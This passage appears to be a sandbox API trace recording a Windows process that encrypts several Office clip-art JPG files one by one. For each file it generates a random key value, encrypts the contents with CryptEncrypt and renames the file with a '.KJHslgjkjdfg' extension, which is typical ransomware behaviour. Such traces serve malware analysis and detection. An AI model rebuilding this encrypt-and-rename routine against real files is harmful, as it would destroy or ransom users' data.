nFileSizeHigh=0x0, nFileSizeLow=0x5285, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0145361.JPG", cAlternateFileName="")) returned 1 [0201.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.438] GetProcessHeap () returned 0x2ef0000 [0201.438] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.438] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.438] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.438] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xb, lpOverlapped=0x0) returned 1 [0201.440] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.440] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.440] GetProcessHeap () returned 0x2ef0000 [0201.441] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.441] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.441] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.441] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.441] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.441] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.441] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.441] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.441] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.441] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.441] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.441] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.441] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5285, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x5285, lpOverlapped=0x0) returned 1 [0201.443] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5290, dwBufLen=0x5290 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5290) returned 1 [0201.443] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.443] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5290, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x5290, lpOverlapped=0x0) returned 1 [0201.443] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.443] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5364, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.443] SetEndOfFile (hFile=0x130) returned 1 [0201.444] GetProcessHeap () returned 0x2ef0000 [0201.444] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.444] GetProcessHeap () returned 0x2ef0000 [0201.444] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.444] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg.kjhslgjkjdfg")) returned 1 [0201.445] CloseHandle (hObject=0x130) returned 1 [0201.446] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5c5e300, ftCreationTime.dwHighDateTime=0x1bdbf70, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5c5e300, ftLastWriteTime.dwHighDateTime=0x1bdbf70, nFileSizeHigh=0x0, nFileSizeLow=0x45cb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0145373.JPG", cAlternateFileName="")) returned 1 [0201.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.446] GetProcessHeap () returned 0x2ef0000 [0201.446] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.446] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.446] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.446] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x5, lpOverlapped=0x0) returned 1 [0201.448] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.449] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.449] GetProcessHeap () returned 0x2ef0000 [0201.449] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.449] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.449] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.449] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.449] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.449] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.449] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.449] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.449] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.449] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.449] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.449] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.449] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x45cb, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x45cb, lpOverlapped=0x0) returned 1 [0201.450] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x45d0, dwBufLen=0x45d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x45d0) returned 1 [0201.451] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.451] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x45d0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x45d0, lpOverlapped=0x0) returned 1 [0201.451] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.451] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x46a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.451] SetEndOfFile (hFile=0x130) returned 1 [0201.454] GetProcessHeap () returned 0x2ef0000 [0201.454] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.454] GetProcessHeap () returned 0x2ef0000 [0201.454] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.454] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg.kjhslgjkjdfg")) returned 1 [0201.455] CloseHandle (hObject=0x130) returned 1 [0201.455] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17a35900, ftCreationTime.dwHighDateTime=0x1bdbf72, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17a35900, ftLastWriteTime.dwHighDateTime=0x1bdbf72, nFileSizeHigh=0x0, nFileSizeLow=0x7c6a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0145669.JPG", cAlternateFileName="")) returned 1 [0201.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.456] GetProcessHeap () returned 0x2ef0000 [0201.456] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.456] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.456] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.456] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0201.459] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.459] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.459] GetProcessHeap () returned 0x2ef0000 [0201.459] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.459] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.459] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.459] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.459] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.459] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.459] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.460] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.460] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.460] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.460] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.460] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.460] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7c6a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7c6a, lpOverlapped=0x0) returned 1 [0201.465] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7c70, dwBufLen=0x7c70 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7c70) returned 1 [0201.465] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.465] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7c70, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7c70, lpOverlapped=0x0) returned 1 [0201.466] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.466] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7d44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.466] SetEndOfFile (hFile=0x130) returned 1 [0201.469] GetProcessHeap () returned 0x2ef0000 [0201.469] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.469] GetProcessHeap () returned 0x2ef0000 [0201.469] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.469] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg.kjhslgjkjdfg")) returned 1 [0201.470] CloseHandle (hObject=0x130) returned 1 [0201.470] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a05b300, ftCreationTime.dwHighDateTime=0x1bdbf72, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a05b300, ftLastWriteTime.dwHighDateTime=0x1bdbf72, nFileSizeHigh=0x0, nFileSizeLow=0x8fd4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0145707.JPG", cAlternateFileName="")) returned 1 [0201.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.471] GetProcessHeap () returned 0x2ef0000 [0201.471] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.471] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.471] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.471] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0201.479] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.479] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.479] GetProcessHeap () returned 0x2ef0000 [0201.479] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.480] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.480] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.480] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.480] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.480] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.480] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.480] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.480] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.480] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.480] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.480] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.481] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x8fd4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x8fd4, lpOverlapped=0x0) returned 1 [0201.482] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8fe0, dwBufLen=0x8fe0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8fe0) returned 1 [0201.483] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.483] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x8fe0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x8fe0, lpOverlapped=0x0) returned 1 [0201.483] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.483] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x90b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.483] SetEndOfFile (hFile=0x130) returned 1 [0201.486] GetProcessHeap () returned 0x2ef0000 [0201.486] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.486] GetProcessHeap () returned 0x2ef0000 [0201.486] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.486] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg.kjhslgjkjdfg")) returned 1 [0201.488] CloseHandle (hObject=0x130) returned 1 [0201.488] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50dbc900, ftCreationTime.dwHighDateTime=0x1bdbf72, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50dbc900, ftLastWriteTime.dwHighDateTime=0x1bdbf72, nFileSizeHigh=0x0, nFileSizeLow=0x8fb8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0145810.JPG", cAlternateFileName="")) returned 1 [0201.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.489] GetProcessHeap () returned 0x2ef0000 [0201.489] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.489] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.490] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.490] WriteFile (in: hFile=0x130, 